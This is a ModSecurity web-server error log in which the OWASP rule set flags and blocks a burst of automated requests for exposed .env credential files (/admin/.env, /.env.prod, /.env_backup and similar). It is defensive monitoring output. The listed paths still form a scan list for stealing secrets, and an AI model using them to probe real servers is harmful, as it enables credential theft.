[Fri Mar 20 16:14:03.244131 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "ab1kO2LvrbuE12wYiLe4PwAAABA"]
[Fri Mar 20 16:14:03.244241 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "ab1kO2LvrbuE12wYiLe4PwAAABA"]
[Fri Mar 20 16:14:03.244321 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "ab1kO0Gu3yPOFBRkxZtw0AAAAAA"]
[Fri Mar 20 16:14:03.244423 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "ab1kO0Gu3yPOFBRkxZtw0AAAAAA"]
[Fri Mar 20 16:14:03.244543 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "ab1kO0Gu3yPOFBRkxZtw0AAAAAA"]
[Fri Mar 20 16:14:03.249912 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/private/.env"] [unique_id "ab1kO28zubx8zfwe9oW5RwAAAAU"]
[Fri Mar 20 16:14:03.250022 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/private/.env"] [unique_id "ab1kO28zubx8zfwe9oW5RwAAAAU"]
[Fri Mar 20 16:14:03.250140 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/private/.env"] [unique_id "ab1kO28zubx8zfwe9oW5RwAAAAU"]
[Fri Mar 20 16:14:03.254654 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "ab1kOxq8pDZXKMuYECLOagAAAAk"]
[Fri Mar 20 16:14:03.254795 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "ab1kOxq8pDZXKMuYECLOagAAAAk"]
[Fri Mar 20 16:14:03.254942 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "ab1kOxq8pDZXKMuYECLOagAAAAk"]
[Fri Mar 20 16:14:03.263086 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.local"] [unique_id "ab1kO0nH70iMTzyPh3kWnAAAAAY"]
[Fri Mar 20 16:14:03.263194 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.local"] [unique_id "ab1kO0nH70iMTzyPh3kWnAAAAAY"]
[Fri Mar 20 16:14:03.263329 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.local"] [unique_id "ab1kO0nH70iMTzyPh3kWnAAAAAY"]
[Fri Mar 20 16:14:03.264668 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "ab1kO_9i5ZHhQgdGB68gLgAAAAg"]
[Fri Mar 20 16:14:03.264768 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "ab1kO_9i5ZHhQgdGB68gLgAAAAg"]
[Fri Mar 20 16:14:03.264881 2026] [:error] [pid 2817639] [client 172.70.251.170:11849] [client 172.70.251.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "ab1kO_9i5ZHhQgdGB68gLgAAAAg"]
[Fri Mar 20 16:14:03.267638 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "ab1kO2LvrbuE12wYiLe4QAAAABA"]
[Fri Mar 20 16:14:03.267732 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "ab1kO2LvrbuE12wYiLe4QAAAABA"]
[Fri Mar 20 16:14:03.267852 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "ab1kO2LvrbuE12wYiLe4QAAAABA"]
[Fri Mar 20 16:14:03.274365 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_backup"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1xgAAAAE"]
[Fri Mar 20 16:14:03.274481 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_backup"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1xgAAAAE"]
[Fri Mar 20 16:14:03.274600 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_backup"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1xgAAAAE"]
[Fri Mar 20 16:14:03.283658 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env1"] [unique_id "ab1kO2808gcmd_Zzq_-pBgAAABI"]
[Fri Mar 20 16:14:03.283779 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env1"] [unique_id "ab1kO2808gcmd_Zzq_-pBgAAABI"]
[Fri Mar 20 16:14:03.283899 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env1"] [unique_id "ab1kO2808gcmd_Zzq_-pBgAAABI"]
[Fri Mar 20 16:14:03.284891 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env2"] [unique_id "ab1kOxq8pDZXKMuYECLOawAAAAk"]
[Fri Mar 20 16:14:03.284986 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env2"] [unique_id "ab1kOxq8pDZXKMuYECLOawAAAAk"]
[Fri Mar 20 16:14:03.285098 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env2"] [unique_id "ab1kOxq8pDZXKMuYECLOawAAAAk"]
[Fri Mar 20 16:14:03.287502 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "ab1kO_y1_WiwY9KfWu_4zgAAAAI"]
[Fri Mar 20 16:14:03.287592 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "ab1kO_y1_WiwY9KfWu_4zgAAAAI"]
[Fri Mar 20 16:14:03.287699 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "ab1kO_y1_WiwY9KfWu_4zgAAAAI"]
[Fri Mar 20 16:14:03.299557 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1xwAAAAE"]
[Fri Mar 20 16:14:03.299668 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1xwAAAAE"]
[Fri Mar 20 16:14:03.299789 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "ab1kOzQ9Th-2Y9b0JRd1xwAAAAE"]
[Fri Mar 20 16:14:03.307327 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "ab1kO0Gu3yPOFBRkxZtw0QAAAAA"]
[Fri Mar 20 16:14:03.307429 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "ab1kO0Gu3yPOFBRkxZtw0QAAAAA"]
[Fri Mar 20 16:14:03.307546 2026] [:error] [pid 2815709] [client 172.70.251.28:12904] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "ab1kO0Gu3yPOFBRkxZtw0QAAAAA"]
[Fri Mar 20 16:14:03.308390 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev.local"] [unique_id "ab1kOxq8pDZXKMuYECLObAAAAAk"]
[Fri Mar 20 16:14:03.308496 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev.local"] [unique_id "ab1kOxq8pDZXKMuYECLObAAAAAk"]
